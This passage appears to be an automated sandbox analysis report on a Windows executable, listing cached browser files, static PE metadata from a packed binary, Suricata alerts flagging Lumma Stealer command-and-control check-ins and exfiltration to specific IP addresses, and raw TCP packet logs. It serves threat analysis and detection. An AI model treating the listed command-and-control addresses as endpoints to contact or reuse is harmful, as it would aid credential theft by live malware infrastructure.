Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949647404270312
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'866'240 bytes
MD5:	1eb8c694c08ad5e6a7554d954ce3b7df
SHA1:	76ed2916a8b9efe93b8b2e5cc29d232b6e5b8b93
SHA256:	2587bee40a1bc2b122d521a5068a01b7a02b13333da8b164874a93165e2b603f
SHA512:	e58a5cf646f2651682cd2571fe7b316205071ca7ba48b5085a97c8ff44a1167058f258b5b91edb0445d581ed08bbca00d388c647dc82b4d691b058beac3457ee
SSDEEP:	49152:zsb2kJWapjgRaEEqfVdlNWmxjihAqOLjO9Kt2jiX6:zsb2kJWapjgMEt9NXjSAqOG9C2jK6
TLSH:	E08533C71FE723C8D82D2CBBA1845265AA3C170A22E246BEDB64507855F3F3599C8FD4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........0J...........@..........................`J.....~.....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE764E5A31Ah
addps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE764E5C315h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	a8e7a0d7aa8f990e31f607ea98a9c1ad	False	0.9982446598101266	data	7.986294990251746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2a8000	0x200	a343b9171a58639cdf0719931c3af22d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oivbtose	0x305000	0x19d000	0x19c800	971368bbaa5d40547ad5039b250f1299	False	0.9949325284090909	data	7.954193183706231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oatpfgpn	0x4a2000	0x1000	0x400	705849f4238590b779d7d9ca6eec86ef	False	0.83203125	data	6.422637347290539	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a3000	0x3000	0x2200	bd213ca40e2fdcabf70a75941f5e8c4f	False	0.06537224264705882	DOS executable (COM)	0.6927399176001817	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T05:57:05.982014+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-18T05:57:06.531339+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-18T05:57:06.531339+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-18T05:57:07.215542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T05:57:08.070312+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T05:57:08.070312+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T05:57:09.147038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-18T05:57:10.612836+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-18T05:57:12.124493+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-18T05:57:14.168764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-18T05:57:14.955468+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-18T05:57:16.251335+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49722	188.114.97.3	443	TCP
2024-11-18T05:57:48.884520+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	60430	188.114.97.3	443	TCP
2024-11-18T05:57:49.393264+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	60430	188.114.97.3	443	TCP
2024-11-18T05:57:50.315041+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	60438	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 05:57:00.054919004 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:00.054946899 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:00.351947069 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:05.337110996 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:05.337143898 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:05.337244987 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:05.340245962 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:05.340262890 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:05.981924057 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:05.982013941 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:05.985204935 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:05.985212088 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:05.985541105 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.035873890 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.035919905 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.036191940 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.531447887 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.531687975 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.531764030 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.533292055 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.533298969 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.533309937 CET	49709	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.533313990 CET	443	49709	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.591664076 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.591749907 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:06.591856956 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.592149973 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:06.592189074 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:07.215399027 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:07.215542078 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:07.278979063 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:07.279058933 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:07.280025005 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:07.320508003 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:07.338969946 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:07.342319965 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:07.342377901 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:07.764645100 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:07.764730930 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:07.764823914 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:07.765417099 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:07.765463114 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:08.070311069 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070502996 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070596933 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070599079 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.070664883 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070729971 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.070746899 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070839882 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.070892096 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.070908070 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.071005106 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.071072102 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.071085930 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.074834108 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.074904919 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.074920893 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.117414951 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.186728954 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.226830006 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.412866116 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413105965 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413180113 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.413228035 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413388014 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413393974 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.413428068 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.413440943 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413463116 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.413490057 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.413501978 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.534631968 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.534672022 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.534735918 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.535146952 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:08.535161018 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:08.883694887 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:08.883909941 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:08.887137890 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:08.887171030 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:08.887623072 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:08.889334917 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:08.889400005 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:08.889413118 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:08.889600039 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:08.935374975 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:09.138338089 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:09.139271021 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:09.139345884 CET	443	49711	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:09.139405012 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:09.139437914 CET	49711	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:09.146935940 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.147037983 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.148189068 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.148197889 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.148536921 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.149816036 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.149945021 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.149987936 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.664275885 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:09.664283991 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:09.879493952 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.879720926 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.961127996 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:09.983828068 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.983848095 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:09.983932972 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.984195948 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:09.984222889 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:10.612601995 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:10.612835884 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:10.614087105 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:10.614115000 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:10.614694118 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:10.616137028 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:10.616332054 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:10.616383076 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:10.616453886 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:10.659367085 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:11.295175076 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:11.295444965 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:11.295469999 CET	443	49713	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:11.295531034 CET	49713	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:11.509135962 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:11.509171963 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:11.509278059 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:11.509566069 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:11.509577036 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:11.731601954 CET	443	49705	173.222.162.64	192.168.2.6
Nov 18, 2024 05:57:11.731723070 CET	49705	443	192.168.2.6	173.222.162.64
Nov 18, 2024 05:57:12.124406099 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:12.124492884 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:12.125557899 CET	49714	443	192.168.2.6	188.114.97.3
